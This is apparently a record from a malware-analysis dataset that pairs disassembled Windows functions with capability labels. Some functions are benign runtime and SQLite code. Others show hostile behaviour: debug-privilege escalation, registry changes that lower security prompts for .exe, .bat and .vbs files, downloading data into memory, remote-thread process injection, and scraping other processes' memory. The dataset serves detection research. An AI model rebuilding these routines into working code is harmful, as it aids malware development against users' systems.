joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6b801a
Capabilities:
Reference sql statements

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], str.SELECT_parentnode_FROM__Q._q_parent_WHERE_nodeno_1
mov dword [ebp - 0x1c], str.SELECT_nodeno_FROM__Q._q_rowid_WHERE_rowid_1
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add edx, 4
mov eax, dword [eax + edx*4 + 8]
test eax, eax
jne 0x6b8089
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov eax, dword [ebp + 8]
mov edx, dword [eax + 4]
mov eax, dword [ebp + 0xc]
mov eax, dword [ebp + eax*4 - 0x20]
push ecx
push edx
push eax
push dword [ebp + 8]
call fcn.006b7db3
add esp, 0x10
mov ecx, eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add edx, 4
mov dword [eax + edx*4 + 8], ecx
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x28]
test eax, eax
jne 0x6b818e
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
add edx, 4
mov eax, dword [eax + edx*4 + 8]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 1
push dword [ebp - 0xc]
call fcn.0062c1f6
add esp, 0x10
sub esp, 0xc
push dword [ebp - 0xc]
call fcn.0062b54c
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x65
jne 0x6b8105
cmp dword [ebp + 0xc], 0
je 0x6b80de
mov eax, str.__rowid
jmp 0x6b80e3
mov eax, str.__parent
sub esp, 4
push eax
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push str.Mapping___lld_____lld__missing_from__s_table
push dword [ebp + 8]
call fcn.006b7e2e
add esp, 0x20
jmp 0x6b817b
cmp dword [ebp - 0x10], 0x64
jne 0x6b817b
sub esp, 8
push 0
push dword [ebp - 0xc]
call fcn.0062bbc0
add esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov ecx, eax
xor ecx, dword [ebp - 0x38]
mov ebx, ecx
mov eax, edx
xor eax, dword [ebp - 0x34]
mov esi, eax
mov eax, esi
or eax, ebx
test eax, eax
je 0x6b817b
cmp dword [ebp + 0xc], 0
je 0x6b814a
mov eax, str.__rowid
jmp 0x6b814f
mov eax, str.__parent
sub esp, 4
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push str.Found___lld_____lld__in__s_table__expected___lld_____lld_
push dword [ebp + 8]
call fcn.006b7e2e
add esp, 0x30
sub esp, 8
push dword [ebp - 0xc]
push dword [ebp + 8]
call fcn.006b7d86
add esp, 0x10
jmp 0x6b818f
nop
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x6b8cf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
call eax
sub esp, 0x10
mov dword [0x8dfca0], eax
mov eax, dword [0x8dfca0]
test eax, eax
jne 0x6b8d60
mov dword [esp], 2
mov eax, dword [fcn.006ba9c0]
call eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x3d
mov dword [esp + 4], 1
mov dword [esp], str.runtime:_failed_to_create_runtime_initialization_wait_event._n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
mov dword [esp], 0x8dfc88
mov eax, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call eax
sub esp, 4
nop
leave
ret

Function at 0x6b9072
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x6b90d6
mov eax, dword [sym.imp.msvcrt.dll__beginthread]
call eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x6b90cf
mov eax, dword [sym.imp.msvcrt.dll__errno]
call eax
mov ebx, dword [eax]
mov dword [esp], 2
mov eax, dword [fcn.006ba9c0]
call eax
mov dword [esp + 8], ebx
mov dword [esp + 4], str.runtime:_failed_to_create_new_OS_thread___d__n
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
call sub.msvcrt.dll_abort
nop
add esp, 0x24
pop ebx
pop ebp
ret
Function at 0x6b9540
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x8e0020]
test esi, esi
jle 0x6b9650
mov edi, dword [0x8e0024]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x6b9574
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x6b95f5
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x6b9560
mov dword [esp], eax
mov ebx, eax
call fcn.006b9e30
test eax, eax
mov edi, eax
je 0x6b9677
mov eax, dword [0x8e0024]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.006b9f30
add eax, dword [edi + 0xc]
mov edx, dword [0x8e0024]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp], eax
mov dword [esp + 4], edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6b9657
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x6b95ee
sub eax, 4
and eax, 0xfffffffb
jne 0x6b9600
add dword [0x8e0020], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
add ebx, dword [0x8e0024]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
mov dword [ebx + 4], eax
mov dword [ebx + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x40
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x6b95ee
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.006ba9f0
lea esi, [esi]
xor esi, esi
jmp 0x6b957e
mov eax, dword [0x8e0024]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.006ba9f0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.006ba9f0
lea esi, [esi]
nop

Function at 0x6b9ab0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x8e0038
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x8e0030]
sub esp, 4
test ebx, ebx
je 0x6b9b05
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6b9afe
test esi, esi
je 0x6b9afe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6b9ae0
mov dword [esp], 0x8e0038
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x6ba9f0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.006ba9c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.006ba9c0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
jmp fcn.004014e0
Function at 0x401420
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea ecx, [ebp - 0xc]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov dword [ebp - 0x1c], 1
mov edx, 0xc
imul eax, edx, 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov dword [ebp + eax - 0x18], ecx
mov dword [ebp + eax - 0x14], edx
mov eax, 0xc
imul ecx, eax, 0
mov dword [ebp + ecx - 0x10], 2
push 0
push 0
push 0x10
lea edx, [ebp - 0x1c]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401fd0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xc4
push 0x9c
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00401950
add esp, 0xc
push 0x24
push 0
lea ecx, [ebp - 0x50]
push ecx
call fcn.00401950
add esp, 0xc
mov dword [ebp - 0x2c], 0x9c
cmp dword [0x407af0], 1
jne 0x402031
push str.GetNativeSystemInfo
push 0x40649c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0x70], eax
lea edx, [ebp - 0x50]
push edx
call dword [ebp + 0x70]
jmp 0x40203b
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x28], 5
jne 0x402065
cmp dword [ebp - 0x24], 0
jne 0x402065
push str.Windows_2000
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
cmp dword [ebp - 0x28], 5
jne 0x402085
cmp dword [ebp - 0x24], 1
jne 0x402085
push str.Windows_XP
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
cmp dword [ebp - 0x28], 5
jne 0x40211c
cmp dword [ebp - 0x24], 2
jne 0x40211c
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
jne 0x4020bf
movzx edx, word [ebp - 0x50]
cmp edx, 9
jne 0x4020bf
push str.Windows_XP_Professional_x64
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
jne 0x4020df
push str.Windows_Server_2003
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
movzx edx, word [ebp + 0x6c]
and edx, 0x8000
jne 0x4020ff
push str.Windows_Home_Server
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x40211c
push str.Windows_Server_2003_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
cmp dword [ebp - 0x28], 6
jne 0x40215c
cmp dword [ebp - 0x24], 0
jne 0x40215c
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x402142
push str.Windows_Vista
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
movzx ecx, byte [ebp + 0x6e]
cmp ecx, 1
je 0x40215c
push str.Windows_Server_2008
mov edx, dword [ebp + 0x7c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
cmp dword [ebp - 0x28], 6
jne 0x40219a
cmp dword [ebp - 0x24], 1
jne 0x40219a
movzx eax, byte [ebp + 0x6e]
cmp eax, 1
je 0x402182
push str.Windows_Server_R2
mov ecx, dword [ebp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x40219a
movzx edx, byte [ebp + 0x6e]
cmp edx, 1
jne 0x40219a
push str.Windows_7
mov eax, dword [ebp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
add ebp, 0x74
mov esp, ebp
pop ebp
ret
Function at 0x402210
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push 0x128
push 0
lea eax, [ebp - 0x140]
push eax
call fcn.00401950
add esp, 0xc
mov dword [ebp - 0x140], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32First
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0x1000
mov eax, dword [ebp - 0xc]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
call fcn.00401950
add esp, 0xc
mov dword [ebp - 0x18], 0
push 0x104
push 0
lea ecx, [ebp - 0x244]
push ecx
call fcn.00401950
add esp, 0xc
lea edx, [ebp - 0x11c]
push edx
push 0x40656c
lea eax, [ebp - 0x244]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0xc]
jbe 0x402334
mov eax, dword [ebp - 4]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 4]
push edx
push 0
mov eax, dword [ebp - 0x10]
push eax
call fcn.00401950
add esp, 0xc
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
push eax
push 8
mov ecx, dword [0x407a8c]
push ecx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov edx, dword [ebp - 4]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp dword [ebp - 0x18], 0
je 0x402355
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x140]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40228b
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x4024d0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x35c
push 0
push 0x84200000
push 0
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x407af4]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1c], eax
push 0x40
push 0
lea edx, [ebp - 0x5c]
push edx
call fcn.00401950
add esp, 0xc
push 0x3f
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x15c]
push ecx
call fcn.004012a0
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
lea eax, [ebp - 0x15c]
push eax
call fcn.00402690
add esp, 8
test eax, eax
jne 0x40253b
xor eax, eax
jmp 0x402689
lea ecx, [ebp - 0x5c]
mov dword [ebp - 0x10], ecx
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.00402470
add esp, 8
mov edx, dword [ebp - 0x18]
push edx
push 0
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
push 4
push 0x3000
mov ecx, dword [ebp - 0x18]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401950
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0x200
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402626
cmp dword [ebp - 0xc], 0
je 0x402626
mov eax, dword [ebp - 0xc]
push eax
lea ecx, [ebp - 0x35c]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.00401990
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 0
push 0x200
push 0
lea edx, [ebp - 0x35c]
push edx
call fcn.00401950
add esp, 0xc
jmp 0x4025ba
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
call fcn.00401700
add esp, 0x10
mov dword [ebp - 4], eax
push 5
mov edx, dword [ebp - 4]
push edx
push 0x407380
mov eax, dword [ebp - 0x14]
push eax
call fcn.004014e0
add esp, 0x10
mov ecx, dword [ebp - 8]
push ecx
push 0
mov edx, dword [0x407a8c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x402af0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x406784
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jne 0x402b23
xor eax, eax
jmp 0x402bec
cmp dword [ebp - 4], 0
je 0x402b30
xor eax, eax
jmp 0x402bec
mov dword [ebp - 0xc], 0x25
xor ecx, ecx
mov dword [0x407ac0], ecx
mov dword [0x407ac4], ecx
mov dword [0x407ac8], ecx
mov dword [0x407acc], ecx
mov dword [0x407ad0], ecx
mov dword [0x407ad4], ecx
mov dword [0x407ad8], ecx
mov dword [0x407adc], ecx
mov dword [0x407ae0], ecx
mov byte [0x407ae4], cl
lea edx, [ebp - 0xc]
push edx
push 0x407ac0
push 0
push 0
push 0x406758
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x402bad
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [edx + 0x407ac0]
test eax, eax
jne 0x402bbb
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x402bec
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x25
push 0x4075c0
push 0x407ac0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x407ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x403030
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesAssociations
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x403091
push str..exe_.bat_.reg_.vbs_
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
push str..exe_.bat_.reg_.vbs_
push 1
push 0
push str.LowRiskFileTypes
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 4]
push ecx
push 0x20006
push 0
push 0x406880
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4030da
mov dword [ebp - 8], 0
push 4
lea edx, [ebp - 8]
push edx
push 4
push 0
push 0x4068c4
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 4]
push edx
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionInternet_SettingsZones0
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403123
mov dword [ebp - 8], 0
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push str.1806
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret
Function at 0x403130
Capabilities:
Create process on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70
push 0x48
push 0
lea eax, [ebp - 0x70]
push eax
call fcn.00401950
add esp, 0xc
mov dword [ebp - 0x70], 0x44
push 0x10
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401950
add esp, 0xc
mov dword [0x4071c4], 1
lea edx, [ebp - 0x28]
push edx
lea eax, [ebp - 0x70]
push eax
push 0
push 0
push 0x80004
push 0
push 0
push 0
push 0
push 0x4073a0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 3
push 0
push 0
lea ecx, [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x4071c0]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0xc]
mov dword [0x4071c0], ecx
cmp dword [ebp + 8], 1
jne 0x4031ef
mov edx, dword [0x4071c8]
mov dword [0x4071cc], edx
mov eax, dword [ebp - 0x20]
mov dword [0x4071d0], eax
push 3
push 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x28]
push edx
mov eax, dword [0x4071d4]
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov ecx, dword [ebp - 0x10]
mov dword [0x4071d4], ecx
mov edx, dword [0x407a90]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call fcn.00403330
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x403213
jmp 0x403256
mov edx, entry0
sub edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 0x14], edx
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
test eax, eax
je 0x403256
cmp dword [ebp + 8], 0
jne 0x403256
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esp, ebp
pop ebp
ret
Function at 0x403a80
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov dword [ebp - 0x24], 0
push 0x128
push 0
push 0x407240
call fcn.00401950
add esp, 0xc
mov dword [0x407240], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x18], eax
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32First
push 0x407264
call fcn.00403cd0
add esp, 4
cmp eax, 1
jne 0x403adc
jmp 0x403c73
mov ecx, dword [0x4071c8]
cmp ecx, dword [0x407248]
je 0x403af8
mov edx, dword [0x4071c8]
cmp edx, dword [0x407258]
jne 0x403afd
jmp 0x403c73
mov dword [ebp - 4], 0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x407248]
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x403b2d
jmp 0x403c73
cmp dword [0x407af0], 1
jne 0x403b59
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [0x407af8]
cmp dword [ebp - 0x20], 0
jne 0x403b59
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x403c73
mov dword [ebp - 0xc], 0
mov ecx, 1
test ecx, ecx
je 0x403c69
push 0x1c
push 0
lea edx, [ebp - 0x40]
push edx
call fcn.00401950
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x40]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
cmp dword [ebp - 0x40], 0
jne 0x403ba2
cmp dword [ebp - 0xc], 0
je 0x403ba2
jmp 0x403c69
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x2c]
and ecx, 1
jne 0x403bbe
mov edx, dword [ebp - 0x2c]
and edx, 0x100
je 0x403bc0
jmp 0x403b60
mov dword [ebp - 8], 0
cmp dword [ebp - 0x34], 0
jbe 0x403c64
cmp dword [ebp - 8], 0
je 0x403be4
mov eax, dword [ebp - 8]
add eax, 0x64000
mov dword [ebp - 8], eax
jmp 0x403bea
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], ecx
cmp dword [ebp - 0x34], 0x64000
jbe 0x403c08
mov dword [ebp - 0x1c], 0x64000
mov edx, dword [ebp - 0x34]
sub edx, 0x64000
mov dword [ebp - 0x34], edx
jmp 0x403c15
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [0x4071d8]
mov dword [ebp - 0x14], ecx
lea edx, [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call fcn.00403d20
add esp, 8
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.00404640
add esp, 8
jmp 0x403bc7
jmp 0x403b60
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x407240
mov eax, dword [ebp - 0x18]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x403ac5
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
mov esp, ebp
pop ebp
ret